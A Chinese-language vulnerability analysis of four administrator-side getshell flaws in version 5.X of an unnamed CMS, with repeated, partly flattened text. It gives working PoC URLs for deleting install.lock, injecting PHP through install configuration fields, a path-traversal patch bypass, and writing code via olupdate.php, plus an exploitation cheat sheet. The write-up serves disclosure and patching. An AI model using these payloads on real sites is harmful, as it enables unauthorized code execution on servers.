某CMS 5.X版本GETSHELL漏洞合集
字数 1779 2025-08-29 08:32:00

某CMS 5.X版本GETSHELL漏洞合集分析报告

0x00 前言

某CMS在2018年1月底发布了6.0版本,修复了5.X版本中存在的多个后台Getshell漏洞。本报告将详细分析这些漏洞的利用方式和原理。

0x01 安装过程过滤不严导致Getshell

漏洞前提

  • 有删除/config/install.lock文件的权限

漏洞利用步骤

  1. 利用任意文件删除漏洞删除install.lock

    • 漏洞文件:/admin/app/batch/csvup.php
    • POC:
      http://xxx.com/admin/app/batch/csvup.php?fileField=1_1231-1&flienamecsv=config/install.lock
      
  2. 重装时利用数据库配置文件过滤不当

    • 漏洞文件:/install/index.php
    • 可控参数:$db_host, $db_username, $db_pass, $db_name, $db_prefix
    • 利用方式:在数据库配置时将任意参数设置为*/phpinfo();/*
    • 生成的shell地址:http://xxx.com/config/config_db.php

0x02 CVE-2017-11347补丁绕过继续Getshell

漏洞前提

  • Windows服务器
  • 知道网站绝对路径(至少知道网站index.php所在目录的上一级目录名)

绝对路径获取方法

  1. 访问/install/phpinfo.php
  2. 查看以下文件的报错信息(需查看网页源码):
    • /app/system/include/public/ui/admin/top.php
    • /app/system/include/public/ui/admin/box.php
    • /app/system/include/public/ui/web/sidebar.php

漏洞利用步骤

  1. 上传包含恶意代码的ico文件(如<?php phpinfo();?>
  2. 构造payload(注意斜杠方向):
    http://localhost/admin/app/physical/physical.php?action=op&op=3&valphy=test|/..\upload\file\1506587082.ico\www\about\shell.php|1
    
    • 其中www需替换为网站index.php的上一级目录名
  3. 生成的shell地址:http://localhost/about/shell.php

0x03 Copyindx函数处理不当Getshell

漏洞特点

  • 不同于CVE-2017-11347漏洞
  • 利用的是Copyindex函数而非Copyfile
  • 不需要上传图片
  • 可结合CSRF实现一键Getshell

漏洞利用

  • 漏洞文件:admin/app/physical/physical.php
  • 触发条件:$action=op$op=3$fileaddr[1]="index.php"
  • POC:
    http://localhost/admin/app/physical/physical.php?action=op&op=3&valphy=xxx/index.php|phpinfo();
    
  • 生成的shell地址:http://localhost/xxx/index.php

0x04 olupdate文件缺陷导致Getshell

漏洞利用步骤

  1. 构造特殊请求:
    /admin/system/olupdate.php?action=sql&sqlfile=1&string=<?php phpinfo();?>&addr=shell_dir&tableid=1000
    
    • tableid需≥44(建议设为1000)
    • addr参数指定shell存放目录
  2. 生成的shell地址:http://xxx.com/admin/update/shell_dir/sqlist.php

0x05 总结

所有漏洞都需要后台管理员权限才能利用,但危害较大。建议用户尽快升级到6.0及以上版本以修复这些安全问题。

漏洞修复建议

  1. 对所有用户输入进行严格过滤
  2. 限制文件操作函数的参数
  3. 对配置文件写入操作进行内容检查
  4. 升级到最新版本CMS

附录:漏洞利用速查表

漏洞类型 利用文件 关键参数 生成shell路径
安装过滤不严 /install/index.php 数据库配置参数 /config/config_db.php
CVE-2017-11347绕过 /admin/app/physical/physical.php valphy /about/shell.php
Copyindx函数漏洞 /admin/app/physical/physical.php valphy /自定义目录/index.php
olupdate漏洞 /admin/system/olupdate.php string, addr /admin/update/自定义目录/sqlist.php
某CMS 5.X版本GETSHELL漏洞合集分析报告 0x00 前言 某CMS在2018年1月底发布了6.0版本,修复了5.X版本中存在的多个后台Getshell漏洞。本报告将详细分析这些漏洞的利用方式和原理。 0x01 安装过程过滤不严导致Getshell 漏洞前提 有删除 /config/install.lock 文件的权限 漏洞利用步骤 利用任意文件删除漏洞删除install.lock 漏洞文件: /admin/app/batch/csvup.php POC: 重装时利用数据库配置文件过滤不当 漏洞文件: /install/index.php 可控参数: $db_host , $db_username , $db_pass , $db_name , $db_prefix 利用方式:在数据库配置时将任意参数设置为 */phpinfo();/* 生成的shell地址: http://xxx.com/config/config_db.php 0x02 CVE-2017-11347补丁绕过继续Getshell 漏洞前提 Windows服务器 知道网站绝对路径(至少知道网站index.php所在目录的上一级目录名) 绝对路径获取方法 访问 /install/phpinfo.php 查看以下文件的报错信息(需查看网页源码): /app/system/include/public/ui/admin/top.php /app/system/include/public/ui/admin/box.php /app/system/include/public/ui/web/sidebar.php 漏洞利用步骤 上传包含恶意代码的ico文件(如 <?php phpinfo();?> ) 构造payload(注意斜杠方向): 其中 www 需替换为网站index.php的上一级目录名 生成的shell地址: http://localhost/about/shell.php 0x03 Copyindx函数处理不当Getshell 漏洞特点 不同于CVE-2017-11347漏洞 利用的是Copyindex函数而非Copyfile 不需要上传图片 可结合CSRF实现一键Getshell 漏洞利用 漏洞文件: admin/app/physical/physical.php 触发条件: $action=op 且 $op=3 且 $fileaddr[1]="index.php" POC: 生成的shell地址: http://localhost/xxx/index.php 0x04 olupdate文件缺陷导致Getshell 漏洞利用步骤 构造特殊请求: tableid 需≥44(建议设为1000) addr 参数指定shell存放目录 生成的shell地址: http://xxx.com/admin/update/shell_dir/sqlist.php 0x05 总结 所有漏洞都需要后台管理员权限才能利用,但危害较大。建议用户尽快升级到6.0及以上版本以修复这些安全问题。 漏洞修复建议 对所有用户输入进行严格过滤 限制文件操作函数的参数 对配置文件写入操作进行内容检查 升级到最新版本CMS 附录:漏洞利用速查表 | 漏洞类型 | 利用文件 | 关键参数 | 生成shell路径 | |---------|---------|---------|--------------| | 安装过滤不严 | /install/index.php | 数据库配置参数 | /config/config_ db.php | | CVE-2017-11347绕过 | /admin/app/physical/physical.php | valphy | /about/shell.php | | Copyindx函数漏洞 | /admin/app/physical/physical.php | valphy | /自定义目录/index.php | | olupdate漏洞 | /admin/system/olupdate.php | string, addr | /admin/update/自定义目录/sqlist.php |